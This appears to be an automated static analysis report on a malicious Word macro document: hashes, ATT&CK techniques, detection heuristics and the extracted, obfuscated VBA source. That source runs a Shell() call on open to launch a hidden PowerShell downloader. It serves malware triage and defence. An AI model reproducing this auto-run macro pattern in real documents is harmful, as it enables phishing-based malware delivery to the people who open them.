Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 488a6807480eae8b…

MALICIOUS

Office (OLE)

70.6 KB Created: 2018-11-08 10:52:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 93926e7504e70a418038720fe652e0b9 SHA-1: 78433c6182197748ecd80276d4246ede7b169043 SHA-256: 488a6807480eae8b91320fd43a3df9516068be7ea871b8dd478ec7d3662997bc
232 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open subroutine that utilizes the Shell() function. This function is used to execute a PowerShell command, which appears to be obfuscated and attempts to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.Olemal-6923147-0' further supports the downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Olemal-6923147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Olemal-6923147-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatNumber SDfFdm + zdaKq + wnREz + vwVZm - (prMWTm + obKVvw)
YNlAX = Shell("" + fctXMIA + rLGzW + Shapes(zJBmA + srfPwiDu + 1 + TCiar + hAhnZq).TextFrame.TextRange.Text + ijFbNKbl + jhtCv, 959611233 - 959611233)
   Error LOjRH + EspVNJ + dalhN + zXmuM / (HLPHlp + KvPrGn + UBwCd + ndwjTO) / bqnZTX + ARpkDj + zNNif + ohwajR
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1512 bytes
SHA-256: f2907cd3fffbb113560fadd49ce4e2b97542fa4c4392d44daad64ac24b811332
Detection
ClamAV: No threats found
Obfuscation or payload: likely
44 of 79 identifiers look randomly generated (e.g. 'srfPwiDu'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CsQsIbNm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber IKCRE + mwDOTa - (RzINn + kFEPc + CiTjBQ + kqETFH / DzWYb + VCkdzi + JuHEuZ + CLSOCz)
   FormatNumber fNfDGf + lijoq + zwqkT + bqjAY + dGshHV + EiWXzv + MrIZXG + KCNbij + GAwMG + cZaEb + Lmoca + orMjhJ
   FormatDateTime bApmA + FYhjzB + oQkChi + pAKjqb + dQmATW + jFhkck + rwwQPE + iIYNz - (VbpFwZ + cHvff)
   FormatNumber LJQzQ + AEWDQ * opuTM + iubvrY / VHZKuk + ioAIS + XJNvvq + IFXWdQ + PidQR + Busbub
   Error MZrLGf + GvhHTO + iibifl + hKtjDl
   TimeValue GpKCQ + QsYSc + PXzwi + WnuraK / aBzoSW + zpoHL / (VjZzn + qaVRb + qCbKc + PAPqA + (DGwXM + islIX + NvEWTM + kVbbT))
   FormatNumber SDfFdm + zdaKq + wnREz + vwVZm - (prMWTm + obKVvw)
YNlAX = Shell("" + fctXMIA + rLGzW + Shapes(zJBmA + srfPwiDu + 1 + TCiar + hAhnZq).TextFrame.TextRange.Text + ijFbNKbl + jhtCv, 959611233 - 959611233)
   Error LOjRH + EspVNJ + dalhN + zXmuM / (HLPHlp + KvPrGn + UBwCd + ndwjTO) / bqnZTX + ARpkDj + zNNif + ohwajR
   TimeValue vzfUjZ + ZbEzL + SAwbU + zSBwsQ + ZKCjfF + qitCSu + zClFc + mhfkRh
   FormatNumber (itwnE + AvXvZu + KoHtIZ + wQPtPq / rfSOz + iLkuP + BFDiq + hzctYq - IDCOd + XOpIQ + jbltw + MiuYm + lZMhsb + HbFpEj + GpszLz + ZKFwDd)
End Sub

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